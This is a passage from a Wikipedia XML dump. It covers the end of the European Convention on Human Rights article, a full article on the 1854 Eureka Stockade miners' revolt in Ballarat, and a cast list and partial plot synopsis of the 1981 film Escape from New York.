[http://www.humanrights.gov.uk/ngo/reviews/appendix6.pdf 2004 Update on UK position]

====Protocol 13 - death penalty====
&quot;The death penalty shall be abolished. No one shall be condemned to such penalty or executed.&quot;
Requires parties to abolish the death penalty completely.

==See also==
*[[Human rights in Europe]]
*[[Human Rights Act 1998]] for how the Convention has been incorporated into the law of the United Kingdom.

==Note==
The [[Council of Europe]] should not be confused with the [[Council of the European Union|Council]] of the [[European Union]], which is not a party to the Convention and has no role in the administration of the [[European Court of Human Rights]].

==External links==
* [http://conventions.coe.int/treaty/en/Treaties/Html/005.htm Full text of the European Convention on Human Rights]
* [http://conventions.coe.int/Treaty/EN/CadreListeTraites.htm List of all treaties and protocols]
* [http://news.bbc.co.uk/1/hi/uk_politics/3534274.stm Terror detention law 'must go']; BBC; [[4 August]] [[2004]]
[[Category:Human rights instruments]]
[[Category:Council of Europe|Convention on Human Rights]]
[[Category:1950 in law]]

[[da:Den Europæiske Menneskerettighedskonvention]]
[[de:Europäische Menschenrechtskonvention]]
[[es:Convención Europea de Derechos Humanos]]
[[fr:Convention de sauvegarde des Droits de l'Homme et des Libertés fondamentales]]
[[nl:Europees Verdrag voor de Rechten van de Mens]]
[[pl:Europejska Konwencja Praw Człowieka]]
[[pt:Convenção Européia dos Direitos Humanos]]
[[ru:Европейская Конвенция по защите прав человека и основных свобод]]
[[sv:Europakonventionen]]</text>
    </revision>
  </page>
  <page>
    <title>Ecclesia</title>
    <id>9831</id>
    <revision>
      <id>40817173</id>
      <timestamp>2006-02-23T05:07:26Z</timestamp>
      <contributor>
        <username>Adammathias</username>
        <id>478268</id>
      </contributor>
      <text xml:space="preserve">'''Ecclesia''' was a word meaning &quot;[[church]]&quot; in many contexts in [[Ancient Greek language|Ancient Greek]], giving rise to many derivatives (e.g. [[Spanish language|Spanish]] ''iglesia'', &quot;church&quot;), and can refer to:

* The popular assembly in ancient [[Athens]], see '''[[Ecclesia (ancient Athens)]]'''.
* The Christian Church, composed of  [[Ecclesia Militans]] (the &quot;Church Militant&quot;), and [[Ecclesia Triumphans]] (the &quot;Church Triumphant&quot;), see '''[[Ecclesia (Church)]]'''.
* A concept in the typology of religion, see '''[[Ecclesia (sociology of religion)]], [[ecclesiology]]'''.
* The ''spiritual healing'' Temple of [[The Rosicrucian Fellowship]], see '''[[Oceanside, California#Mount Ecclesia|Mount Ecclesia]]'''.


{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Eureka Stockade</title>
    <id>9833</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41758486</id>
      <timestamp>2006-03-01T15:10:36Z</timestamp>
      <contributor>
        <username>Longhair</username>
        <id>99037</id>
      </contributor>
      <comment>sharper cat</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:EurekaFlag602.png|thumb|right|The [[Eureka Flag]]]]
The '''Eureka Stockade''' was a miners' [[revolt]] in 1854 in [[Victoria (Australia)|Victoria]], [[Australia]] against the officials supervising the [[gold]]-[[mining]] region of [[Ballarat, Victoria|Ballarat]] due to many reasons, including heavily priced mining items and the expense of a digging license. It is often regarded as being an event of equal significance to [[History of Australia|Australian history]] as the [[storming of the Bastille]] was to [[History of France|French history]], but almost equally often dismissed as an event of little long-term consequence. Although the revolt failed, it was a watershed event in [[Politics of Australia|Australian politics]], and is often described controversially as the &quot;Birth of Australian [[Democracy]]&quot;.

==Background==
The Australian [[colony]] of Victoria, a peaceful and sparsely populated region of farmers and graziers, was declared separate from [[New South Wales]] on [[1 July]], [[1851]]. This tranquility was irrevocably disrupted that same year with the discovery of substantial [[gold]] fields all across the colony. The result was a rapid and massive influx of fortune-hunting [[Immigration|immigrants]].

The roots of the Eureka Stockade uprising lay in the inability of a fledgling colonial government to cope with the new demographics of the colony. From being the administrative body of the &quot;[[Squatters#Australia|squattocracy]]&quot; the government suddenly found itself unprepared to take charge of a large and unruly population of itinerants. Its response was to impose an unofficial [[martial law]], enforced by the hurriedly assembled and quasi-military &quot;Gold Commission.&quot; That many of the newly-arrived miners regarded the Victorian authorities as close associates of the &quot;[[United Kingdom|English]]&quot; authorities was the first portent of conflict.

Within a short time, the easy surface gold had been exhausted, and gold could be found only by digging for the deep lead &amp;mdash; the veins of gold buried beneath metres of clay and rock. By 1854, the fields of Ballarat were occupied by 25,000 or more miners, mostly from [[Ireland]], but also from the [[United Kingdom]], other parts of [[Europe]], [[China]] and [[North America]] (many had come to Australia from the [[California gold rush]]). The hills for miles around were soon entirely denuded of trees in order to provide timber for the deep shafts being dug &amp;mdash; an [[natural environment|environmental]] disaster from which the area has never fully recovered. 

Authority in the camps was held by the Resident Gold Commissioner, Robert Rede, and enforced by a military [[garrison]]. The main mechanism of government revenue was the &quot;Miner's Licence,&quot; a short term lease of a &quot;claim,&quot; a 3.6 square metre plot of land. The monthly fee for this licence was 30 shillings &amp;mdash; a huge fee for the time &amp;mdash; and was payable whether or not any gold had actually been found. This raised the ire of the miners, as did the weekly &quot;licence hunts&quot; where the military police searched for and arrested anyone lacking proof of a licence.

[[Image:Hotham governor of victoria.JPG|thumb|Governor of Victoria Sir [[Charles Hotham]]]]
In September 1854, prompted primarily by budget shortfalls resulting chiefly from the cost of maintaining a private army, the [[Governor of Victoria]], Sir [[Charles Hotham]], ordered the frequency of the licence hunts increased to twice weekly. With dissent simmering, this and two further events drove the miners to violence: 

* The first incident was the arbitrary arrest of a crippled, non-English speaking [[Armenian people|Armenian]] (Johannes Gregorious), wrongfully charged with assaulting an officer. This angered the miners for two reasons. First it was seen as [[racism|racial]] victimisation (though not expressed in such 21st-century terms). This alone would probably not have been enough to motivate the miners (not renowned for their racial tolerance), but they did identify with the Armenian as a fellow &quot;digger,&quot; a term used by the miners to describe their lack of privilege. More importantly, the man arrested was also the servant of a [[Roman Catholic]] [[priest]], Father Smyth, and this was interpreted as a religious affront by the large [[Irish Catholic]] component of the miner population, who already held deep resentments against the [[British people|British]] for religious and economic oppression. 
* The second incident was the [[acquittal]] of [[inn]] owner James Bentley, who had been charged with the murder of a miner, James Scobie. In early October, an angry mob, interpreting the acquittal as unjust, burnt Bentley's hotel to the ground.

==Protests, Chartism and the Ballarat Reform League==

[[Civil disobedience|Civil]] and [[non-violent resistance|non-violent]] protests began to grow as a result of these perceived injustices:

* '''Tuesday, [[17 October]], [[1854]]''': At the spot where [[James Scobie]] was killed 5,000-10,000 diggers gathered to protest the acquittal of the prime suspect, [[James Bentley]], the owner of the Eureka Hotel. Bentley fled for his life as the hotel was burnt down. 
* '''Sunday, [[22 October]], [[1854]]''': Ballarat Catholics met to protest the treatment of Father Smyth's servant.
* '''Monday, [[23 October]], [[1854]]''': A mass meeting to protest the selective arrest of McIntyre and Fletcher for burning down Bentley's Eureka Hotel attracted 10,000 miners and supporters. It was decided to form a '''Digger's Right Society''', to maintain their rights. 
* '''Tuesday, [[1 November]], [[1854]]''': 3000 diggers met once again at Bakery Hill. They were addressed by Kennedy, Holyoake, Black and Ross. The diggers were further incensed by the arrest of another seven of their number, for the burning down of the Eureka Hotel. 
* '''Saturday, [[11 November]], [[1854]]''': A crowd estimated at more than 10,000 miners gathered at Bakery Hill, directly opposite the government encampment. At this meeting the &quot;'''Ballarat Reform League'''&quot; was created, under the chairmanship of [[Chartism|Chartist]] [[John Basson Humffray]]. Several other Reform League leaders including Thomas Kennedy and Henry Holyoake had been involved with the [[Chartism|Chartist movement]] in England. Many of the miners had past involvement in the Chartist movement and social upheavals in [[England]], [[Ireland]] and [[Europe]] during the 1840s.

The Ballarat Reform League used the British [[Chartism|Chartist]] movement's principles to set their goals. The meeting passed a resolution &quot;''that it is the inalienable right of every citizen to have a voice in making the laws he is called on to obey  that taxation without representation is tyranny''&quot;. The meeting also decided to secede from the United Kingdom if the situation did not improve.

The '''demands of the Ballarat Reform League''' encompassed: 
* Manhood suffrage (the right for all men to vote)
* Abolition of the property qualifications for members of parliament 
* Payment of members of parliament
* Voting by [[secret ballot]]
* Short term parliaments 
* Equal electoral districts 
* Abolition of diggers and storekeepers licenses 
* reform of administration of the gold fields
* revision of laws relating to Crown land.

Throughout the following weeks, the League sought to negotiate with Commissioner Rede and [[Charles Hotham|Governor Hotham]], both on the specific matters relating to Bentley and the men being tried for the burning of the Eureka Hotel, and on the broader issues of abolition of the licence, universal suffrage and democratic representation of the gold fields, and disbanding of the Gold Commission.

Commissioner Rede's response to these disputes was perhaps an ill-judged one, but stemmed from his military background and has been attributed by many historians (most notably [[Manning Clark]]) to his belief in his right to exert authority over the &quot;rabble.&quot; Rather than hear the grievances, Rede increased the police presence in the gold fields and summoned reinforcements from [[Melbourne]]. 

On Monday [[November 27]] [[1854]] a delegation from the Ballarat Reform League: John Humffray, George Black and Thomas Kennedy; met with [[Charles Hotham|Governor Hotham]]. They attempted to negotiate the release of the miners arrested after the attack on Eureka Hotel, and presented the demands for universal suffrage as well as abolition of the miners and storekeepers licenses. The only concession Hotham was willing to make was one digger's representative elected to the Legislative Council. The delegation rejected this, and returned to Ballarat empty handed.

==Escalation==
[[Image:Doudiet Swearing allegiance to the Southern Cross.jpg|thumb|right|300px|Swearing Allegiance to the Southern Cross on [[December 1]] [[1854]] - watercolour by [[Charles Doudiet]]]]

On [[28 November]], the reinforcements marching from Melbourne were attacked by a mob of miners. A number were injured and a drummer boy was allegedly killed. The rumour of the death of the drummer boy was perpetuated, even with a memorial erected to him in Ballarat Cemetery for many years, although historical research has shown that the boy, John Egan, continued military service until dying in 1860.[http://freepages.history.rootsweb.com/~garter1/drummerboy.htm] 

At a meeting the following day ([[29 November]]) of about 12,000 'diggers', the Reform League delegation relayed to the miners its failure to achieve any success in negotiations with the authorities. The miners resolved to openly resist the authorities and burn the hated licences. A confrontation appeared unavoidable.

Most notably the [[Eureka Flag]], a blue flag designed by a [[Canada|Canadian]] miner, &quot;Captain&quot; [[Henry Ross]], and bearing nothing but the [[Crux|Southern Cross]], was flown for the first (recorded) time. As a gesture of defiance, it deliberately excluded the British [[Flag of the United Kingdom|Union Flag]], which appears on the official [[flag of Australia]]. The original Eureka flag is now housed at the Ballarat Fine Art Gallery.

At the meeting on Bakery Hill miners swore an oath of allegiance:
: &quot;We swear by the Southern Cross to stand truly by each other and fight to defend our rights and liberties&quot;

Rede responded by ordering a large contingent of police to conduct a licence search on [[30 November]]. Although eight defaulters were arrested, most of the military resources available had to be summoned to extricate the arresting officers from the angry mob that had assembled.

This raid prompted a change in the leadership of the Reform League, to people who argued in favour of 'physical force' rather than the 'moral force' championed by Humffray and the old leadership.[http://www.takver.com/history/eureka.htm#aa522] In the rising tide of anger and resentment amongst the miners a more militant leader, [[Peter Lalor]], took control. In swift fashion a military structure was assembled. Brigades were formed and captains were appointed. Licences were burned, the rebel &quot;Eureka&quot; flag was unfurled and an oath of allegiance was sworn. An encampment at the Eureka Flat was set up and by Friday, [[1 December]], a stockade had been hastily constructed from timber and overturned carts. The miners vowed to defend themselves from licence hunts and harassment by the authorities. 

During Saturday [[December 2]] some 1500 men trained in and around the stockade. A further two hundred Americans, the Independent Californian Rangers, under the leadership of James McGill, arrived about 4pm. The Americans were armed with revolvers and Mexican knives and possessed horses. In a fateful decision, McGill decided to take most of the Californian Rangers away from the stockade to intercept rumoured British reinforcements coming from Melbourne. Rede's spies observed these actions. That night many of the miners went back to their own tents after the traditional Saturday night carousing, with the assumption that the Queen's military forces would not be sent to attack on the sabbath, Sunday. A small contingent of about 150 miners remained at the stockade overnight, which the spies reported to Rede.

== Battle ==
[[Image:painting stockade.jpg|thumb|300px|right|The attack by forces of the British Army and both foot and mounted Ballarat police was short and deadly.]]Rede's inaction thus far did not reflect his true intent, and at 3 am on Sunday, [[3 December]], [[1854]], a party of 276 police and military personnel under the command of Captain J.W. Thomas approached the Eureka Stockade and a battle ensued. 

[[Image:Map of eureka stockade 1854.jpg|left|thumb|Map of the stockade]]
There is no agreement as to which side fired first, but what was clear was that the battle was fierce, brief, and terribly one-sided. The ramshackle army of miners was hopelessly outclassed by a military regiment and was quickly routed in about 15 minutes. During the height of the battle Lalor was shot in his right arm, took refuge under some timber and was smuggled out of the stockade and hidden. His arm was later amputated.

According to accounts of that morning, after the initial battle had ended, mounted police and foot police carried out what some have described as a massacre, in which no quarter was given, for about two hours.  Killing was indiscriminate, bodies mutilated, tents set on fire, the burning and pillaging of nearby stores occurred. (Store owners and others later received compensation for this destruction). The rampage by the police not only occurred in the Eureka Stockade but innocent people were attacked up to several hundred metres from the stockade. Stories tell how women ran forward and threw themselves over the injured to prevent further indiscriminate killing. The Commission of Inquiry would later say it was &quot;''a needless as well as a ruthless sacrifice of human life indiscriminate of innocent or guilty, and after all resistance had disappeared''&quot;.

According to Lalor's report, fourteen miners (mostly Irish) died inside the stockade and an additional eight died later from injuries they sustained. A further dozen were wounded but recovered. Three months after the Eureka Stockade, Peter Lalor wrote: &quot;As the inhuman brutalities practised by the troops are so well known, it is unnecessary for me to repeat them. There were 34 digger casualties at which 22 died. The unusual proportion of the killed to the wounded, is owing to the butchery of the military and troopers after the surrender.&quot;

By 7am Captain Pasley, the second in command of the British forces, sickened by the carnage, saved a group of prisoners from being bayoneted and threatened to shoot any police or soldiers who continued with the slaughter. One hundred and fourteen diggers, some wounded, were marched off to the Government camp about 2 kilometres away, where they were kept in an overcrowed lockup, before being moved to a more spacious barn on Monday morning.

Among the soldiers and military police, records indicate six were killed, including one Captain Wise. [[Martial law]] was imposed, and all armed resistance collapsed. News of the massacre spread quickly to Melbourne and other goldfield regions, turning a perceived Government military victory in repressing  a minor insurrection into a public relations disaster with widespread condemnation of the Government's action, and support for the diggers requested reforms.

== Aftermath ==
[[Image:Eureka_Stockade.jpg|thumb|200px|left|A memorial stone.]]
For a few weeks it appeared that the [[status quo]] had been restored, and Rede ruled the camps with an iron fist. However, in [[Melbourne]] and much of rural Victoria, and to a lesser extent the other Australian colonies, there was tremendous public outcry over the military actions. Newspapers characterised it as a brutal overuse of force in a situation brought about by the actions of government officials in the first place, and public condemnation became insurmountable. 

=== Trials for Sedition and High Treason ===
The first trial relating to the rebellion was a charge of [[Australian sedition law|sedition]] against [[Henry Seekamp]] of the ''Ballarat Times''. Seekamp was arrested in his newspaper office on [[4 December]] [[1854]], for a series of articles that appeared in the ''Ballarat Times''. Many of these articles were written by George Lang, the son of the prominent republican and Presbyterian Minister of Sydney - the Reverend [[John Dunmore Lang]]. The Chief Justice, Sir [[William à Beckett]], effectively told the jury that it must find Seekamp guilty. He was tried and convicted of seditious libel by a Melbourne jury on [[23 January]] [[1855]] and, after a series of appeals, sentenced to six months imprisonment on [[23 March]]. He was released from prison on [[28 June]] [[1855]], precisely three months early.

[[Image:Reward notice lalor black eureka.JPG|thumb|A reward of 400 pounds was issued for [[Peter Lalor]] and George Black.]]
Of the 120 odd 'diggers' detained after the rebellion, thirteen were brought to trial. They included:

* Timothy Hayes, Chairman of the Ballarat Reform League,
* James McFie Campbell a black man from Kingston Jamaica
* [[Raffaello Carboni]], an Italian and trusted lieutenant in charge of the diggers who spoke European languages
* Jacob Sorenson, a Jew
* John Manning, a ''Ballarat Times'' journalist, from Ireland
* John Phelan, a friend and business partner of Peter Lalor, from Ireland
* Thomas Dignum, born in Sydney, 
* John Joseph, a black American from New York
* James Beattie, from Ireland
* William Molloy, from Ireland
* Jan Vannick, from Holland, 
* Michael Tuohy, from Ireland
* Henry Reid

The first trial started on [[22 February]] [[1855]] with John Joseph brought before the court on charges of high treason. Joseph was one of three Americans arrested at the stockade, with the US Consul intervening for the release of the two Americans of caucasion complexion. The prosecution was handled by Attorney General [[William Stawell]] representing the Crown before Chief Justice [[William à Beckett]]. After hearing the evidence, the jury quickly returned a Not Guilty verdict with the court erupting in wild cheering. John Joseph was carried around the streets of Melbourne in a chair in triumph by over 10,000 people.

Under the auspices of Victorian Chief Justice [[Redmond Barry]], all subsequent trials were rapidly acquitted to great public acclaim. Rede himself was quietly removed from the camps and reassigned to an insignificant position in rural Victoria.

=== Commission of Enquiry ===
A Commission of Enquiry into the affair was organised, and was scathing in its assessment of all aspects of the administration of the gold fields, and particularly the Eureka Stockade affair. The gold licences were abolished, and replaced by an inexpensive annual miner's licence and an export fee based on the value of the gold. Mining wardens replaced the gold commissioners, and police numbers were cut drastically. The Legislative Council was expanded to allow representation to the major goldfields and [[Peter Lalor]] and [[John Basson Humffray]] were elected for Ballarat. After 12 months all but one of the demands of the Ballarat Reform League had been granted. Lalor and Humffray both led distinguished careers as politicians, with Lalor later elected as Speaker of the [[Legislative Assembly of Victoria]].

=== Commemoration ===
[[Image:Eureka1954handbill.gif|thumb|250px|right|Centenary anniversary commemoration in 1954]]
[[Image:Eureka 150th official commemoration.jpg|thumb|250px|right|150th anniversary official commemoration, [[December 3]] [[2004]].]]
[[Image:Eureka_Dawn_Lantern_walk_2004.JPG|thumb|250px|right|Dawn Lantern Walk, 2004.]]
Over the next thirty years, press interest in the events which took place at the Eureka Stockade dwindled, but Eureka was kept alive at the campfires and in the pubs, and in memorial events in Ballarat. In addition, key figures such as Lalor and Humfray were still around and in the public eye. Eureka had not been forgotten - it was readily remembered and a flag similar to the Eureka flag was flown above the [[Barcaldine, Queensland|Barcaldine]] shearers strike camp in the [[1891 Australian shearers' strike]] and in the poetry of [[Henry Lawson]], such as ''Flag of the Southern Cross'' (1887), ''Eureka (A Fragment)'' (1889), ''The Fight at Eureka Stockade'' (1890), and ''[[Freedom on the Wallaby]]'' (1891),

In 1889 Melbourne businessmen employed renowned American [[cyclorama]]
artist [[Thaddeus Welch]] who teamed up with local artist Izett Watson to paint 1000 square feet (90 m&amp;sup2;) of canvas of the Eureka Stockade that was wrapped around a wooden structure. When it opened in Melbourne it was an instant hit. ''[[The Age]]'' reported in 1891 &quot;it afforded a very good opportunity for people to see what it might have been like at Eureka&quot;. ''The Australasian'' claimed &quot;that many person´s familiar with the incidents depicted, were able to testify to the fidelity of the painted scene&quot;. The people of Melbourne flocked to the cyclorama, paid up and had their picture taken before it.  It was eventually dismantled and disappeared from sight. 

The writer Samuel Clemens, better known as [[Mark Twain]], visited the Victorian Goldfields in 1895. Following his visit he said of the Eureka Stockade:

:''&quot;By and by there was a result, and I think it may be called the finest thing in Australian history. It was a revolution - small in size, but great politically; it was a strike for liberty, a struggle for principle, a stand against oppression....It is another instance of a victory won by a lost battle. It adds an honourable page to history: the people know it and are proud of it. They keep green the memory of the men who fell at the Eureka stockade.&quot; ''

Because the materials used to build the stockade were rapidly removed to be used for the mines and the entire area itself was so extensively worked that the original landscape was unrecognisable, the exact location of the stockade was quickly lost track of. However the event itself returned to the national consciousness and became a rallying cry as the call for federation and nationhood gained momentum in the 1890s.

== Eureka Today ==
[[Image:Eureka Memorial Dec 3 2005 before Dawn.JPG|thumb|250px|right|Pre dawn at the Eureka Monument, [[December 3]] [[2005]].]]
The Eureka Stockade (or more accurately, the driving force of public opinion that followed) has been characterised  as the &quot;Birth of Democracy&quot; within Australia. Its actual significance is uncertain; it has been variously mythologised by particular interest groups as a revolt of free men against imperial tyranny, of independent free enterprise against burdensome taxation, of labour against a privileged ruling class, or as an expression of [[multiculturalism|multicultural]] [[republicanism]], and so on.  The affair continues to raise echos in Australian politics to the present day, and from time to time one group or another calls for the existing Australian flag to be replaced by the Eureka Flag. 

The Eureka Stockade was certainly the most prominent rebellion in Australia's history and, depending on how one defines ''rebellion'', can be regarded as the only such event. (But see also [[Rum Rebellion]], and more recently the [[New Guard]].) The significance of the rebellion, however, remains debatable. Some historians believe that the undoubted prominence of the event in the public record has come about because Australian history does not include a major armed rebellion phase equivalent to the [[French Revolution]], the [[English Civil War]], or the [[American War of Independence]]: in consequence (according to this view) the Eureka story tends to be inflated well beyond its real significance. Others, however, maintain that Eureka was a seminal event and that it marked a major change in the course of Australian history. The debate remains active and may well remain so as long as Eureka is remembered.

== See also ==
* [[Flag of Australia]]
* [[History of Victoria]]
* [[Victorian gold rush]]

== References ==
* ''The Eureka Encyclopaedia'', Justin Corfield, Dorothy Wickham, Clare Gervasani, Ballarat Heritage Services, (2004), ISBN 1876478616
* ''Massacre at Eureka -­ The Untold Story'', Bob O'Brien, ISBN 0909874190  
* ''Eureka'', John Molony, ISBN 0522849628
* ''The Eureka Stockade'' by [[Raffaello Carboni]], (1855). [http://www.gutenberg.org/etext/3546 Title from Project Gutenberg]

* [http://www.statelibrary.vic.gov.au/slv/educate/publications/eureka/ State Library of Victoria - The Eureka Stockade]
* [http://eureka.imagineering.com.au/home.htm Eureka on Trial]
* [http://users.netconnect.com.au/~ianmac/eureka.html Eureka Stockade, Ballarat, Victoria, Australia]
* [http://www.takver.com/history/eureka.htm Reclaiming the Radical Spirit of the Eureka Rebellion in 1854]
* [http://www.slv.vic.gov.au/slv/exhibitions/goldfields/eureka/chronol.htm Life on the Goldfields: Eureka Stockade]
* [http://www.eureka150.vic.gov.au/ 150th Anniversary of the Eureka Stockade]
* [http://www.cultureandrecreation.gov.au/articles/goldrush/ The Australian Gold Rush]

== External links ==
{{Spoken Wikipedia|Eureka_Stockade.ogg|2005-12-22}}
{{Wikisource}}
* [http://www.eurekaballarat.com/ The Eureka Centre]
* [http://www.sovereignhill.com.au/ Sovereign Hill]

[[Category:1854 in Australia]]
[[Category:History of Victoria]]
[[Category:Ballarat]]

[[de:Eureka Stockade]]</text>
    </revision>
  </page>
  <page>
    <title>Escape from New York</title>
    <id>9835</id>
    <revision>
      <id>41725106</id>
      <timestamp>2006-03-01T08:35:42Z</timestamp>
      <contributor>
        <username>Mr Snrub</username>
        <id>622021</id>
      </contributor>
      <minor />
      <comment>/* Trivia */ Debra Hill does the voice-over</comment>
      <text xml:space="preserve">{{Infobox_Film
|name = John Carpenter's 
Escape from New York
|image      = EscapefromNYposter.jpg
|director   = [[John Carpenter]]
|producer   = [[Larry J. Franco]]&lt;br&gt;[[Debra Hill]]
|writer     = [[John Carpenter]]&lt;br&gt;[[Nick Castle]]
|starring   = [[Kurt Russell]]&lt;br&gt;[[Lee Van Cleef]]&lt;br&gt;[[Ernest Borgnine]]&lt;br&gt;[[Donald Pleasence]]&lt;br&gt;[[Isaac Hayes]]
|movie_music= [[John Carpenter]]
|distributor= [[AVCO Embassy Pictures]]
|released= [[July 10]], [[1981]]
|runtime    = 99 min.
|language = [[English language|English]]
|imdb_id    = 0082340
|music      = [[John Carpenter]], in association with [[Alan Howarth]]
|awards     =
|budget     = $6,000,000 (est.)
|}}
'''''John Carpenter's Escape from New York''''' is a [[1981]] [[science fiction]] action [[film]] [[film director|directed]] and scored by [[John Carpenter]]. He also co-wrote the screenplay with [[Nick Castle]]. 

The film was made on a total budget of around $7 million, which is sometimes apparent in the night scenes lit by fires in trash cans. It played upon the then recent highly-public fiscal and social eclipse of [[New York]] and fearful [[suburb]]an attitudes concerning failed inner cities in general. It is said to be one of the &quot;best&quot; [[B-Movie]]s, and still has a strong fan following. It eventually spawned a sequel, [[Escape from LA]]


==Cast of characters==

*[[Kurt Russell]] as [[Snake Plissken|&quot;Snake&quot; Plissken]]
*[[Lee Van Cleef]] as Police Commissioner Bob Hauk
*[[Donald Pleasence]] as [[President of the United States]]
*[[Isaac Hayes]] as the Duke of New York
*[[Ernest Borgnine]] as Cabbie
*[[Harry Dean Stanton]] as Harold &quot;Brain&quot; Helman
*[[Adrienne Barbeau]] as Maggie

==Synopsis==

''Tagline:'' &quot;Breaking out is impossible. Breaking in is insane.&quot; 

{{spoiler}}

The film is set in a [[dystopia|dystopian]] future of [[1997]], where the world is embroiled in [[World War III]]. Due to an overwhelming wave of crime that plagued the country, especially New York City, the government built a wall around [[Manhattan Island]] and turned it into a [[Prisons in the United States#Maximum Security|maximum security prison]]. Inside the city walls there is only the anarchy that the inmates have made and there is only one simple rule: &quot;Once you go in, you don't come out&quot;. Any found escapees are ruthlessly shot on sight. 

A crisis arises when [[Air Force One]], carrying the President of the United States to the Hartford Peace Summit, is hijacked by [[left-wing]] suicidal [[terrorists]] who protest the President's &quot;oppressive facist regime&quot;, and crash the airplane inside the city prison. Moments before impact, the President evacuates the plane in an [[escape pod]].

Manhattan is monitored from a bunker on [[Liberty Island]]. Bob Hauk (played by Lee Van Cleef), the police commissioner who runs the prison, is able to track a life monitor placed on the President's wrist, and leads a rescue team to get him out. Upon arrival, Hauk finds that a gang of prisoners have gotten to the President first and are holding him hostage. One of the prisoners, Romero (played by Frank Doubleday from [[Assault on Precinct 13]] produces a severed finger with his presidential ring as proof that they have him. Hauk asks his demands, but Romero doesn't have any as of yet and he tells Hauk to leave immediately or the President dies.

With no other choice, Hauk returns to the Ellis Island to update anxious government officials of the situation. Elsewhere, Ellis Island is processing in a new prisoner; the one-eyed &quot;Snake&quot; Plissken, who has recently been convicted of attempted robbery of the [[Federal Reserve Bank]] in [[Cleveland, Ohio|Cleveland]].  Plissken's impressive military record shows that he is a highly skilled [[Special Forces]] veteran who has received a prestigious award for his valor. He is shown to have been a very proficient combat pilot who flew a glider over the battle of Leningrad (suggesting that the Third World War mentioned in the film was fought against Soviets). 

Hauk interviews Plissken, seeing the war hero that he once was over the dangerous convict he is now. Hauk updates Plissken on the President's situation and the importance of retrieving a cassette tape that has information on what the President hoped would be a new form of viable energy. Plissken is completely uninterested until Hauk offers him a full pardon if he agrees to take the rescue mission. Plissken is given 24 hours to find the President, and more importantly the tape, and get them both out before the summit concludes, or Russia and China will leave the peace talks. 

Snake reluctantly agrees to the deal. He is told he will go in covertly with a Gulfstream glider and land on the roof of one of the [[World Trade Center]] towers. He is given a gun, a tracking device, a walkie-talkie, a locator bracelet, and a wrist watch with a 22 hour countdown clock which is already in progress. One final step before he leaves is to go to medical for shots which will protect him from the diseases that run rampant in the city. Snake doesn't realize until after the shots were administered that they have placed tiny explosives in him that have lodged in his arteries. Hauk warns Plissken that any attempt to turn the glider around to Canada, or failure to bring back the President will result in the detonation of the explosives which are just big enough to rip open both his arteries and kill him. Plissken's watch has now became his countdown &quot;life clock&quot;.  Plissken furiously strangles Hauk, demanding he remove the explosives, but a technician calms him down by explaining the charges can be easily neutralized by [[X-rays]] once he completes the mission. Before leaving, Plissken threatens to kill Hauk when he gets back.

Plissken flies the glider into the city and lands on top of the WTC as planned. Eventually he finds his way to the streets and the wreckage of Air Force One. He finds the President's escape pod nearby, but the leader is nowhere to be found. Snake activates his locator and tracks a weak signal from the President's life monitor. The signal leads him to a movie theatre where some inmates are enjoying a makeshift stage play. One of the prisoners, a pudgy older man, spots Plissken and takes interest. He follows him and quickly finds Snake's machine gun shoved in his face. The man apologizes for intruding on him and asks if he's &quot;Snake Plissken&quot;. Snake doesn't answer, but the man is convinced; laughing that he heard he was dead. (This becomes one of the film's main taglines - each time a new character meets Plissken, they remark that they had heard he was dead.)

Plissken ignores the man and heads down a flight of stairs despite the man's warning that he shouldn't go down there. Wandering around, Plissken is jumped by some inmates but quickly brushes them aside. Eventually, he finds the source of the signal - a drunken inmate. Distraught that he tracked a decoy, Plissken contacts Hauk to pick him up stating that the President must be dog meat by now, believing the inmates must have killed him already. Hauk orders him to push on since there are 16 hours left. He warns that failure means &quot;no more Hartford Summit, and no more Snake Plissken!&quot;

Plissken wanders around fatigued and wary. He crosses paths with a swarm of cannibalistic people, known as the Crazies, who emerge from the sewers, and takes refuge in the ruins of a nearby diner. There he meets an attractive woman hiding there who quickly realizes who he is and indicates that she heard he was dead. She begs Snake to take her out of here and makes a passionate advance. At that moment, the floor explodes and the crazed cannibals drag the screaming woman away. Snake kills off a few and escapes down an alley with the mob in pursuit. Jumping a wall, Snake loses his walkie-talkie. Suddenly, a dilapidated [[Checker]] taxi cab, blasting bandstand music, blocks his path. The man from the theatre is driving and tells Snake to get in. The man tosses a [[molotov cocktail]] at the cannibals to cover Plissken's escape. 

Despite old Cabbie's helpfulness, Snake forcefully demands to know where the president is. Cabbie tells Snake that &quot;The Duke of New York&quot; has him, and that he runs the city. Snake wants to meet this Duke, but Cabbie warns than no one can see the Duke - &quot;if you do, you're dead!&quot; However, Snake isn't kidding, so Cabbie takes him to see a man named &quot;Brain&quot; believing that he will know what to do. 

Brain resides in what was once the [[New York Public Library]], and now his personal fortress. Brain has some prestige and privilege in the city, He helps the Duke with his insight, solving problems and refining gasoline for his gang. Cabbie and Snake are refused entry at the door by Maggie, Brain's &quot;woman&quot;, but Cabbie tells her Snake Plissken is here and he has to see Brain. Maggie mentions that she heard Snake was dead, but decides to let them in anyway. She leads them down to see Brain; a skinny disheveled man sitting in a large chair of the main floor like it was his personal throne room. When Brain and Plissken meet eye-to-eye, Plissken realizes who Brain is; none other than a former partner of his named Harold Helman. Snake remembers Harold had double crossed him on a job a while back and threatens to kill him. 

Brain begs for his life and offers the whereabouts of the President as leverage. Brain explains that Duke has the President, and that the Duke plans a big &quot;walk out&quot; from the prison tomorrow evening right across the 59th Street Bridge. Snake says the President's life won't mean much in a few hours; he won't be useful as a hostage if he misses the peace talks. Brain doesn't believe him and refuses to help any further, but Snake tells him that the President will pardon anyone who helps him get out alive. Cabbie and Maggie think it's an offer they can't refuse and urge Brain to reconsider. Brain asks Snake about how he plans to escape, where Snake tells him about the Gulfstream glider hidden on the WTC. Reluctantly, Brain finally agrees to help.  

The Duke however, has paid a surprised visit, and his entourage of armed thugs surround the library. Snake gets his first glimpse of The Duke; a muscular black man with a sleeveless white outfit and a feathered hat. The Duke's Cadillac has crystal chandeliers mounted to the fenders as headlights. Brain indicates that The Duke wants his map of the bridge which is rigged with land mines to thwart any escape.  Plissken and the others hide in a nearby alley, while Cabbie cowardly flees in his taxi. Brain is anxious, stating that the Duke will kill them if he finds out what they're planning. 

